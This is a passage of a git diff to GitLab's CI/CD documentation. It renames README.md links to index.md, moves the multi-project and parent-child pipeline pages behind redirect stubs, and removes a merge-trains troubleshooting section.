-Sometimes the **Start/Add to Merge Train** button is not available and the merge request says,
-"The pipeline for this merge request failed. Please retry the job or push a new commit to fix the failure."
-
-This issue occurs when [**Pipelines must succeed**](../../../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds)
-is enabled in **Settings > General > Merge requests**. This option requires that you
-run a new successful pipeline before you can re-add a merge request to a merge train.
-
-Merge trains ensure that each pipeline has succeeded before a merge happens, so
-you can clear the **Pipelines must succeed** check box and keep
-**Enable merge trains and pipelines for merged results** (merge trains) enabled.
-
-If you want to keep the **Pipelines must succeed** option enabled along with Merge
-Trains, create a new pipeline for merged results when this error occurs:
-
-1. Go to the **Pipelines** tab and click **Run pipeline**.
-1. Click **Start/Add to merge train when pipeline succeeds**.
-
-See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135)
-for more information.
-
-### Merge Trains feature flag **(PREMIUM SELF)**
-
-In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/244831),
-you can [enable or disable merge trains in the project settings](#enable-merge-trains).
-
-In GitLab 13.5 and earlier, merge trains are automatically enabled when
-[pipelines for merged results](../index.md#pipelines-for-merged-results) are enabled.
-To use pipelines for merged results without using merge trains, you can enable a
-[feature flag](../../../../user/feature_flags.md) that blocks the merge trains feature.
-
-[GitLab administrators with access to the GitLab Rails console](../../../../administration/feature_flags.md)
-can enable the feature flag to disable merge trains:
-
-```ruby
-Feature.enable(:disable_merge_trains)
-```
-
-After you enable this feature flag, all existing merge trains are cancelled and
-the **Start/Add to Merge Train** button no longer appears in merge requests.
-
-To disable the feature flag, and enable merge trains again:
-
-```ruby
-Feature.disable(:disable_merge_trains)
-```
+<!-- This redirect file can be deleted after 2021-09-29. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md
index 47236668e89..0b0226f428a 100644
--- a/doc/ci/metrics_reports.md
+++ b/doc/ci/metrics_reports.md
@@ -37,7 +37,7 @@ For an MR, the values of these metrics from the feature branch are compared to t
## How to set it up
-Add a job that creates a [metrics report](yaml/README.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
+Add a job that creates a [metrics report](yaml/index.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
For example:
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index eb5ed451778..968adf2e161 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -68,7 +68,7 @@ job1:
### Workflows
-CircleCI determines the run order for jobs with `workflows`. This is also used to determine concurrent, sequential, scheduled, or manual runs. The equivalent function in GitLab CI/CD is called [stages](../yaml/README.md#stages). Jobs on the same stage run in parallel, and only run after previous stages complete. Execution of the next stage is skipped when a job fails by default, but this can be allowed to continue even [after a failed job](../yaml/README.md#allow_failure).
+CircleCI determines the run order for jobs with `workflows`. This is also used to determine concurrent, sequential, scheduled, or manual runs. The equivalent function in GitLab CI/CD is called [stages](../yaml/index.md#stages). Jobs on the same stage run in parallel, and only run after previous stages complete. Execution of the next stage is skipped when a job fails by default, but this can be allowed to continue even [after a failed job](../yaml/index.md#allow_failure).
See [the Pipeline Architecture Overview](../pipelines/pipeline_architectures.md) for guidance on different types of pipelines that you can use. Pipelines can be tailored to meet your needs, such as for a large complex project or a monorepo with independent defined components.
@@ -140,7 +140,7 @@ job4:
#### Scheduled run
-GitLab CI/CD has an easy to use UI to [schedule pipelines](../pipelines/schedules.md). Also, [rules](../yaml/README.md#rules) can be used to determine if jobs should be included or excluded from a scheduled pipeline.
+GitLab CI/CD has an easy to use UI to [schedule pipelines](../pipelines/schedules.md). Also, [rules](../yaml/index.md#rules) can be used to determine if jobs should be included or excluded from a scheduled pipeline.
CircleCI example of a scheduled workflow:
@@ -159,7 +159,7 @@ scheduled-workflow:
- build
```
-Example of the same scheduled pipeline using [`rules`](../yaml/README.md#rules) in GitLab CI/CD:
+Example of the same scheduled pipeline using [`rules`](../yaml/index.md#rules) in GitLab CI/CD:
```yaml
job1:
@@ -188,7 +188,7 @@ release-branch-workflow:
- testing
```
-Example of the same workflow using [`when: manual`](../yaml/README.md#whenmanual) in GitLab CI/CD:
+Example of the same workflow using [`when: manual`](../yaml/index.md#whenmanual) in GitLab CI/CD:
```yaml
deploy_prod:
@@ -200,7 +200,7 @@ deploy_prod:
### Filter job by branch
-[Rules](../yaml/README.md#rules) are a mechanism to determine if the job runs for a specific branch.
+[Rules](../yaml/index.md#rules) are a mechanism to determine if the job runs for a specific branch.
CircleCI example of a job filtered by branch:
@@ -265,7 +265,7 @@ test_async:
## Contexts and variables
-CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
+CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs
@@ -294,7 +294,7 @@ GitLab.com shared runners:
### Machine and specific build environments
-[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which runners should run the jobs.
+[Tags](../yaml/index.md#tags) can be used to run jobs on different platforms, by telling GitLab which runners should run the jobs.
CircleCI example of a job running on a specific environment:
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index 812f1caa5d1..9f2115fa4a0 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -17,9 +17,9 @@ that were able to quickly complete this migration:
1. Start by reading the GitLab CI/CD [Quick Start Guide](../quick_start/index.md) and [important product differences](#important-product-differences).
1. Learn the importance of [managing the organizational transition](#managing-the-organizational-transition).
-1. [Add runners](../runners/README.md) to your GitLab instance.
+1. [Add runners](../runners/index.md) to your GitLab instance.
1. Educate and enable your developers to independently perform the following steps in their projects:
- 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/README.md).
+ 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/index.md).
1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs.
1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#using-components-of-auto-devops) the configuration as needed.
1. Add [Review Apps](../review_apps/index.md).
@@ -71,45 +71,45 @@ If you are interested in helping GitLab test the wrapper, join our [public testi
There are some high level differences between the products worth mentioning:
- With GitLab you don't need a root `pipeline` keyword to wrap everything.
-- The way pipelines are triggered and [trigger other pipelines](../yaml/README.md#trigger)
+- The way pipelines are triggered and [trigger other pipelines](../yaml/index.md#trigger)
is different than Jenkins. GitLab pipelines can be triggered:
- on push
- on [schedule](../pipelines/schedules.md)
- from the [GitLab UI](../pipelines/index.md#run-a-pipeline-manually)
- - by [API call](../triggers/README.md)
- - by [webhook](../triggers/README.md#triggering-a-pipeline-from-a-webhook)
+ - by [API call](../triggers/index.md)
+ - by [webhook](../triggers/index.md#triggering-a-pipeline-from-a-webhook)
- by [ChatOps](../chatops/index.md)
- You can control which jobs run in which cases, depending on how they are triggered,
- with the [`rules` syntax](../yaml/README.md#rules).
+ with the [`rules` syntax](../yaml/index.md#rules).
- GitLab [pipeline scheduling concepts](../pipelines/schedules.md) are also different from Jenkins.
-- You can reuse pipeline configurations using the [`include` keyword](../yaml/README.md#include)
+- You can reuse pipeline configurations using the [`include` keyword](../yaml/index.md#include)
and [templates](#templates). Your templates can be kept in a central repository (with different
permissions), and then any project can use them. This central project could also
contain scripts or other reusable code.
-- You can also use the [`extends` keyword](../yaml/README.md#extends) to reuse configuration
+- You can also use the [`extends` keyword](../yaml/index.md#extends) to reuse configuration
within a single pipeline configuration.
- All jobs within a single stage always run in parallel, and all stages run in sequence. We are planning
to allow certain jobs to break this sequencing as needed with our [directed acyclic graph](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063)
feature.
-- The [`parallel`](../yaml/README.md#parallel) keyword can automatically parallelize tasks,
+- The [`parallel`](../yaml/index.md#parallel) keyword can automatically parallelize tasks,
like tests that support parallelization.
- Normally all jobs within a single stage run in parallel, and all stages run in sequence.
There are different [pipeline architectures](../pipelines/pipeline_architectures.md)
that allow you to change this behavior.
-- The new [`rules` syntax](../yaml/README.md#rules) is the recommended method of
+- The new [`rules` syntax](../yaml/index.md#rules) is the recommended method of
controlling when different jobs run. It is more powerful than the `only/except` syntax.
- One important difference is that jobs run independently of each other and have a
fresh environment in each job. Passing artifacts between jobs is controlled using the
- [`artifacts`](../yaml/README.md#artifacts) and [`dependencies`](../yaml/README.md#dependencies)
+ [`artifacts`](../yaml/index.md#artifacts) and [`dependencies`](../yaml/index.md#dependencies)
keywords. When finished, use the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265)
feature to more easily persist a common workspace between serial jobs.
- The `.gitlab-ci.yml` file is checked in to the root of your repository, much like a Jenkinsfile, but
- is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most
+ is in the YAML format (see [complete reference](../yaml/index.md)) instead of a Groovy DSL. It's most
analogous to the declarative Jenkinsfile format.
-- Manual approvals or gates can be set up as [`when:manual` jobs](../yaml/README.md#whenmanual). These can
- also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs)
+- Manual approvals or gates can be set up as [`when:manual` jobs](../yaml/index.md#whenmanual). These can
+ also leverage [`protected environments`](../yaml/index.md#protecting-manual-jobs)
to control who is able to approve them.
- GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using
container images to set up your build environment. For example, set up one pipeline that builds your build environment
@@ -122,7 +122,7 @@ There are some high level differences between the products worth mentioning:
## Agents vs. runners
Both Jenkins agents and GitLab runners are the hosts that run jobs. To convert the
-Jenkins agent, simply uninstall it and then [install and register the runner](../runners/README.md).
+Jenkins agent, simply uninstall it and then [install and register the runner](../runners/index.md).
Runners do not require much overhead, so you can size them similarly to the Jenkins
agents you were using.
@@ -137,7 +137,7 @@ There are some important differences in the way runners work in comparison to ag
Use autoscaling to provision runners only when needed, and scale down when not needed.
This is similar to ephemeral agents in Jenkins.
-If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../runners/README.md)
+If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../runners/index.md)
to run jobs without provisioning your own runners. We are investigating making them
[available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835)
as well.
@@ -154,8 +154,8 @@ and manage.
That said, we do of course still value DRY (don't repeat yourself) principles and want to ensure that
behaviors of your jobs can be codified once and applied as needed. You can use the `extends:` syntax to
-[reuse configuration in your jobs](../yaml/README.md#extends), and `include:` can
-be used to [reuse pipeline configurations](../yaml/README.md#include) in pipelines
+[reuse configuration in your jobs](../yaml/index.md#extends), and `include:` can
+be used to [reuse pipeline configurations](../yaml/index.md#include) in pipelines
in different projects:
```yaml
@@ -199,7 +199,7 @@ GitLab takes advantage of our connected ecosystem to automatically pull these ki
your Merge Requests, pipeline details pages, and other locations. You may find that you actually don't
need to configure anything to have these appear.
-If they aren't working as expected, or if you'd like to see what's available, our [CI feature index](../README.md#feature-set) has the full list
+If they aren't working as expected, or if you'd like to see what's available, our [CI feature index](../index.md#feature-set) has the full list
of bundled features and links to the documentation for each.
### Templates
@@ -227,14 +227,14 @@ and is meant to be a mapping of concepts there to concepts in GitLab.
#### `agent`
-The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md)
+The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/index.md)
to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage
of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users).
We also support using [tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs
to different runners (execution agents).
The `agent` section also allows you to define which Docker images should be used for execution, for which we use
-the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which
+the [`image`](../yaml/index.md#image) keyword. The `image` can be set on a single job or at the top level, in which
case it applies to all jobs in the pipeline:
```yaml
@@ -258,7 +258,7 @@ stages:
```
Setting a step to be performed before and after any job can be done via the
-[`before_script`](../yaml/README.md#before_script) and [`after_script`](../yaml/README.md#after_script) keywords:
+[`before_script`](../yaml/index.md#before_script) and [`after_script`](../yaml/index.md#after_script) keywords:
```yaml
default:
@@ -268,10 +268,10 @@ default:
#### `stages`
-GitLab CI/CD also lets you define stages, but is a little bit more free-form to configure. The GitLab [`stages` keyword](../yaml/README.md#stages)
+GitLab CI/CD also lets you define stages, but is a little bit more free-form to configure. The GitLab [`stages` keyword](../yaml/index.md#stages)
is a top level setting that enumerates the list of stages, but you are not required to nest individual jobs underneath
the `stages` section. Any job defined in the `.gitlab-ci.yml` can be made a part of any stage through use of the
-[`stage:` keyword](../yaml/README.md#stage).
+[`stage:` keyword](../yaml/index.md#stage).
Note that, unless otherwise specified, every pipeline is instantiated with a `build`, `test`, and `deploy` stage
which are run in that order. Jobs that have no `stage` defined are placed by default in the `test` stage.
@@ -289,7 +289,7 @@ my_job:
#### `steps`
-The `steps` section is equivalent to the [`script` section](../yaml/README.md#script) of an individual job. This is
+The `steps` section is equivalent to the [`script` section](../yaml/index.md#script) of an individual job. This is
a simple YAML array with each line representing an individual command to be run:
```yaml
@@ -303,9 +303,9 @@ my_job:
#### `environment`
-In GitLab, we use the [`variables` keyword](../yaml/README.md#variables) to define different variables at runtime.
-These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/README.md),
-including the section on [protected variables](../variables/README.md#protect-a-cicd-variable) which can be used
+In GitLab, we use the [`variables` keyword](../yaml/index.md#variables) to define different variables at runtime.
+These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/index.md),
+including the section on [protected variables](../variables/index.md#protect-a-cicd-variable) which can be used
to limit access to certain variables to certain environments or runners:
```yaml
@@ -318,7 +318,7 @@ variables:
Here, options for different things exist associated with the object in question itself. For example, options related
to jobs are defined in relation to the job itself. If you're looking for a certain option, you should be able to find
-where it's located by searching our [complete configuration reference](../yaml/README.md) page.
+where it's located by searching our [complete configuration reference](../yaml/index.md) page.
#### `parameters`
@@ -347,9 +347,9 @@ variable entry.
#### `when`
-GitLab does support a [`when` keyword](../yaml/README.md#when) which is used to indicate when a job should be
+GitLab does support a [`when` keyword](../yaml/index.md#when) which is used to indicate when a job should be
run in case of (or despite) failure, but most of the logic for controlling pipelines can be found in
-our very powerful [`rules` system](../yaml/README.md#rules):
+our very powerful [`rules` system](../yaml/index.md#rules):
```yaml
my_job:
diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md
index acdbe0455ba..06cbf63e512 100644
--- a/doc/ci/multi_project_pipelines.md
+++ b/doc/ci/multi_project_pipelines.md
@@ -1,332 +1,8 @@
---
-stage: Verify
-group: Pipeline Authoring
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
+redirect_to: 'pipelines/multi_project_pipelines.md'
---
-# Multi-project pipelines **(FREE)**
+This document was moved to [another location](pipelines/multi_project_pipelines.md).
-> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
-
-You can set up [GitLab CI/CD](README.md) across multiple projects, so that a pipeline
-in one project can trigger a pipeline in another project.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview see the [Multi-project pipelines demo](https://www.youtube.com/watch?v=g_PIwBM1J84).
-
-GitLab CI/CD is a powerful continuous integration tool that works not only per project,
-but also across projects with multi-project pipelines.
-
-Multi-project pipelines are useful for larger products that require cross-project inter-dependencies, such as those
-adopting a [microservices architecture](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/).
-
-Cross-functional development teams can use cross-pipeline
-triggering to trigger multiple pipelines for different microservices projects. Learn more
-in the [Cross-project Pipeline Triggering and Visualization demo](https://about.gitlab.com/learn/)
-at GitLab@learn, in the Continuous Integration (CI) section.
-
-Additionally, it's possible to visualize the entire pipeline, including all cross-project
-inter-dependencies. **(PREMIUM)**
-
-## Use cases
-
-Let's assume you deploy your web app from different projects in GitLab:
-
-- One for the free version, which has its own pipeline that builds and tests your app
-- One for the paid version add-ons, which also pass through builds and tests
-- One for the documentation, which also builds, tests, and deploys with an SSG
-
-With Multi-Project Pipelines you can visualize the entire pipeline, including all build and test stages for the three projects.
-
-## Multi-project pipeline visualization **(PREMIUM)**
-
-When you configure GitLab CI/CD for your project, you can visualize the stages of your
-[jobs](pipelines/index.md#configure-a-pipeline) on a [pipeline graph](pipelines/index.md#visualize-pipelines).
-
-![Multi-project pipeline graph](img/multi_project_pipeline_graph.png)
-
-In the Merge Request Widget, multi-project pipeline mini-graphs are displayed,
-and when hovering or tapping (on touchscreen devices) they expand and are shown adjacent to each other.
-
-![Multi-project mini graph](img/multi_pipeline_mini_graph.gif)
-
-## Triggering multi-project pipelines through API
-
-> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) to GitLab Free in 12.4.
-
-When you use the [`CI_JOB_TOKEN` to trigger pipelines](triggers/README.md#ci-job-token), GitLab
-recognizes the source of the job token, and thus internally ties these pipelines
-together, allowing you to visualize their relationships on pipeline graphs.
-
-These relationships are displayed in the pipeline graph by showing inbound and
-outbound connections for upstream and downstream pipeline dependencies.
-
-When using:
-
-- CI/CD Variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of
- the [`$CI_PIPELINE_SOURCE` predefined variable](variables/predefined_variables.md) is
- `pipeline` for multi-project pipeline triggered through the API with `CI_JOB_TOKEN`.
-- [`only/except`](yaml/README.md#only--except) to control job behavior, use the
- `pipelines` keyword.
-
-## Creating multi-project pipelines from `.gitlab-ci.yml`
-
-> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
-
-### Triggering a downstream pipeline using a bridge job
-
-Before GitLab 11.8, it was necessary to implement a pipeline job that was
-responsible for making the API request [to trigger a pipeline](#triggering-multi-project-pipelines-through-api)
-in a different project.
-
-In GitLab 11.8, GitLab provides a new CI/CD configuration syntax to make this
-task easier, and avoid needing GitLab Runner for triggering cross-project
-pipelines. The following illustrates configuring a bridge job:
-
-```yaml
-rspec:
- stage: test
- script: bundle exec rspec
-
-staging:
- variables:
- ENVIRONMENT: staging
- stage: deploy
- trigger: my/deployment
-```
-
-In the example above, as soon as the `rspec` job succeeds in the `test` stage,
-the `staging` bridge job is started. The initial status of this
-job is `pending`. GitLab then creates a downstream pipeline in the
-`my/deployment` project and, as soon as the pipeline is created, the
-`staging` job succeeds. `my/deployment` is a full path to that project.
-
-The user that created the upstream pipeline needs to have access rights to the
-downstream project (`my/deployment` in this case). If a downstream project is
-not found, or a user does not have access rights to create a pipeline there,
-the `staging` job is marked as _failed_.
-
-When using:
-
-- CI/CD variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of
- the [`$CI_PIPELINE_SOURCE` predefined variable](variables/predefined_variables.md) is
- `pipeline` for multi-project pipelines triggered with a bridge job (using the
- [`trigger:`](yaml/README.md#trigger) keyword).
-- [`only/except`](yaml/README.md#only--except) to control job behavior, use the
- `pipelines` keyword.
-
-In the example, `staging` is marked as successful as soon as a downstream pipeline
-gets created. If you want to display the downstream pipeline's status instead, see
-[Mirroring status from triggered pipeline](#mirroring-status-from-triggered-pipeline).
-
-NOTE:
-Bridge jobs [do not support every configuration keyword](#limitations) that can be used
-with other jobs. If a user tries to use unsupported configuration keywords, YAML
-validation fails on pipeline creation.
-
-### Specifying a downstream pipeline branch
-
-It is possible to specify a branch name that a downstream pipeline uses:
-
-```yaml
-rspec:
- stage: test
- script: bundle exec rspec
-
-staging:
- stage: deploy
- trigger:
- project: my/deployment
- branch: stable-11-2
-```
-
-Use:
-
-- The `project` keyword to specify the full path to a downstream project.
-- The `branch` keyword to specify the name of a branch in the project specified by `project`.
- [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126), variable expansion is
- supported.
-
-GitLab uses a commit that is on the head of the branch when
-creating a downstream pipeline.
-
-NOTE:
-Pipelines triggered on a protected branch in a downstream project use the [permissions](../user/permissions.md)
-of the user that ran the trigger job in the upstream project. If the user does not
-have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See
-[pipeline security for protected branches](pipelines/index.md#pipeline-security-on-protected-branches).
-
-### Passing CI/CD variables to a downstream pipeline
-
-#### With the `variables` keyword
-
-Sometimes you might want to pass CI/CD variables to a downstream pipeline.
-You can do that using the `variables` keyword, just like you would when
-defining a regular job.
-
-```yaml
-rspec:
- stage: test
- script: bundle exec rspec
-
-staging:
- variables:
- ENVIRONMENT: staging
- stage: deploy
- trigger: my/deployment
-```
-
-The `ENVIRONMENT` variable is passed to every job defined in a downstream
-pipeline. It is available as a variable when GitLab Runner picks a job.
-
-In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline
-that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream`
-job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline.
-
-```yaml
-variables:
- MY_VARIABLE: my-value
-
-trigger-downstream:
- variables:
- ENVIRONMENT: something
- trigger: my/project
-```
-
-You might want to pass some information about the upstream pipeline using, for
-example, predefined variables. In order to do that, you can use interpolation
-to pass any variable. For example:
-
-```yaml
-downstream-job:
- variables:
- UPSTREAM_BRANCH: $CI_COMMIT_REF_NAME
- trigger: my/project
-```
-
-In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the
-upstream pipeline is passed to the `downstream-job` job, and is available
-within the context of all downstream builds.
-
-Upstream pipelines take precedence over downstream ones. If there are two
-variables with the same name defined in both upstream and downstream projects,
-the ones defined in the upstream project take precedence.
-
-#### With variable inheritance
-
-You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#pass-an-environment-variable-to-another-job) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs).
-
-In the upstream pipeline:
-
-1. Save the variables in a `.env` file.
-1. Save the `.env` file as a `dotenv` report.
-1. Trigger the downstream pipeline.
-
-```yaml
-build_vars:
- stage: build
- script:
- - echo "BUILD_VERSION=hello" >> build.env
- artifacts:
- reports:
- dotenv: build.env
-
-deploy:
- stage: deploy
- trigger: my/downstream_project
-```
-
-Set the `test` job in the downstream pipeline to inherit the variables from the `build_vars`
-job in the upstream project with `needs:`. The `test` job inherits the variables in the
-`dotenv` report and it can access `BUILD_VERSION` in the script:
-
-```yaml
-test:
- stage: test
- script:
- - echo $BUILD_VERSION
- needs:
- - project: my/upstream_project
- job: build_vars
- ref: master
- artifacts: true
-```
-
-### Mirroring status from triggered pipeline
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in GitLab Premium 12.3.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
-
-You can mirror the pipeline status from the triggered pipeline to the source
-bridge job by using `strategy: depend`. For example:
-
-```yaml
-trigger_job:
- trigger:
- project: my/project
- strategy: depend
-```
-
-### Mirroring status from upstream pipeline
-
-You can mirror the pipeline status from an upstream pipeline to a bridge job by
-using the `needs:pipeline` keyword. The latest pipeline status from the default branch is
-replicated to the bridge job.
-
-Example:
-
-```yaml
-upstream_bridge:
- stage: test
- needs:
- pipeline: other/project
-```
-
-### Limitations
-
-Bridge jobs are a little different from regular jobs. It is not
-possible to use exactly the same configuration syntax as when defining regular jobs
-that are picked by a runner.
-
-Some features are not implemented yet. For example, support for environments.
-
-[Configuration keywords](yaml/README.md) available for bridge jobs are:
-
-- `trigger` (to define a downstream pipeline trigger)
-- `stage`
-- `allow_failure`
-- [`rules`](yaml/README.md#rules)
-- `only` and `except`
-- `when` (only with `on_success`, `on_failure`, and `always` values)
-- `extends`
-- `needs`
-
-## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab Premium 12.8.
-
-You can trigger a pipeline in your project whenever a pipeline finishes for a new
-tag in a different project:
-
-1. Go to the project's **Settings > CI/CD** page, and expand the **Pipeline subscriptions** section.
-1. Enter the project you want to subscribe to, in the format `<namespace>/<project>`.
- For example, if the project is `https://gitlab.com/gitlab-org/gitlab`, use `gitlab-org/gitlab`.
-1. Click subscribe.
-
-Any pipelines that complete successfully for new tags in the subscribed project
-now trigger a pipeline on the current project's default branch. The maximum
-number of upstream pipeline subscriptions is 2 by default, for both the upstream and
-downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator.
-
-The upstream project needs to be [public](../public_access/public_access.md)
-and the user must have [developer permissions](../user/permissions.md#project-members-permissions)
-for the upstream project.
-
-## Downstream private projects confidentiality concern
-
-If you trigger a pipeline in a downstream private project, the name of the project
-and the status of the pipeline is visible in the upstream project's pipelines page.
-
-If you have a public project that can trigger downstream pipelines in a private
-project, make sure to check that there are no confidentiality problems.
+<!-- This redirect file can be deleted after 2021-09-29. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md
index 82bac7c51d2..0b8df2e9f4c 100644
--- a/doc/ci/parent_child_pipelines.md
+++ b/doc/ci/parent_child_pipelines.md
@@ -1,189 +1,8 @@
---
-stage: Verify
-group: Pipeline Execution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
-type: reference
+redirect_to: 'pipelines/parent_child_pipelines.md'
---
-# Parent-child pipelines
+This document was moved to [another location](pipelines/parent_child_pipelines.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7.
-
-As pipelines grow more complex, a few related problems start to emerge:
-
-- The staged structure, where all steps in a stage must be completed before the first
- job in next stage begins, causes arbitrary waits, slowing things down.
-- Configuration for the single global pipeline becomes very long and complicated,
- making it hard to manage.
-- Imports with [`include`](yaml/README.md#include) increase the complexity of the configuration, and create the potential
- for namespace collisions where jobs are unintentionally duplicated.
-- Pipeline UX can become unwieldy with so many jobs and stages to work with.
-
-Additionally, sometimes the behavior of a pipeline needs to be more dynamic. The ability
-to choose to start sub-pipelines (or not) is a powerful ability, especially if the
-YAML is dynamically generated.
-
-![Parent pipeline graph expanded](img/parent_pipeline_graph_expanded_v12_6.png)
-
-Similarly to [multi-project pipelines](multi_project_pipelines.md), a pipeline can trigger a
-set of concurrently running child pipelines, but within the same project:
-
-- Child pipelines still execute each of their jobs according to a stage sequence, but
- would be free to continue forward through their stages without waiting for unrelated
- jobs in the parent pipeline to finish.
-- The configuration is split up into smaller child pipeline configurations, which are
- easier to understand. This reduces the cognitive load to understand the overall configuration.
-- Imports are done at the child pipeline level, reducing the likelihood of collisions.
-- Each pipeline has only relevant steps, making it easier to understand what's going on.
-
-Child pipelines work well with other GitLab CI/CD features:
-
-- Use [`rules: changes`](yaml/README.md#ruleschanges) to trigger pipelines only when
- certain files change. This is useful for monorepos, for example.
-- Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal
- pipelines, they can have their own behaviors and sequencing in relation to triggers.
-
-See the [`trigger:`](yaml/README.md#trigger) keyword documentation for full details on how to
-include the child pipeline configuration.
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8KpBSqZNbk).
-
-## Examples
-
-The simplest case is [triggering a child pipeline](yaml/README.md#trigger) using a
-local YAML file to define the pipeline configuration. In this case, the parent pipeline
-triggers the child pipeline, and continues without waiting:
-
-```yaml
-microservice_a:
- trigger:
- include: path/to/microservice_a.yml
-```
-
-You can include multiple files when composing a child pipeline:
-
-```yaml
-microservice_a:
- trigger:
- include:
- - local: path/to/microservice_a.yml
- - template: Security/SAST.gitlab-ci.yml
-```
-
-In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) and later,
-you can use [`include:file`](yaml/README.md#includefile) to trigger child pipelines
-with a configuration file in a different project:
-
-```yaml
-microservice_a:
- trigger:
- include:
- - project: 'my-group/my-pipeline-library'
- file: 'path/to/ci-config.yml'
-```
-
-The maximum number of entries that are accepted for `trigger:include:` is three.
-
-Similar to [multi-project pipelines](multi_project_pipelines.md#mirroring-status-from-triggered-pipeline),
-we can set the parent pipeline to depend on the status of the child pipeline upon completion:
-
-```yaml
-microservice_a:
- trigger:
- include:
- - local: path/to/microservice_a.yml
- - template: Security/SAST.gitlab-ci.yml
- strategy: depend
-```
-
-## Merge Request child pipelines
-
-To trigger a child pipeline as a [Merge Request Pipeline](merge_request_pipelines/index.md) we need to:
-
-- Set the trigger job to run on merge requests:
-
-```yaml
-# parent .gitlab-ci.yml
-microservice_a:
- trigger:
- include: path/to/microservice_a.yml
- rules:
- - if: $CI_MERGE_REQUEST_ID
-```
-
-- Configure the child pipeline by either:
-
- - Setting all jobs in the child pipeline to evaluate in the context of a merge request:
-
- ```yaml
- # child path/to/microservice_a.yml
- workflow:
- rules:
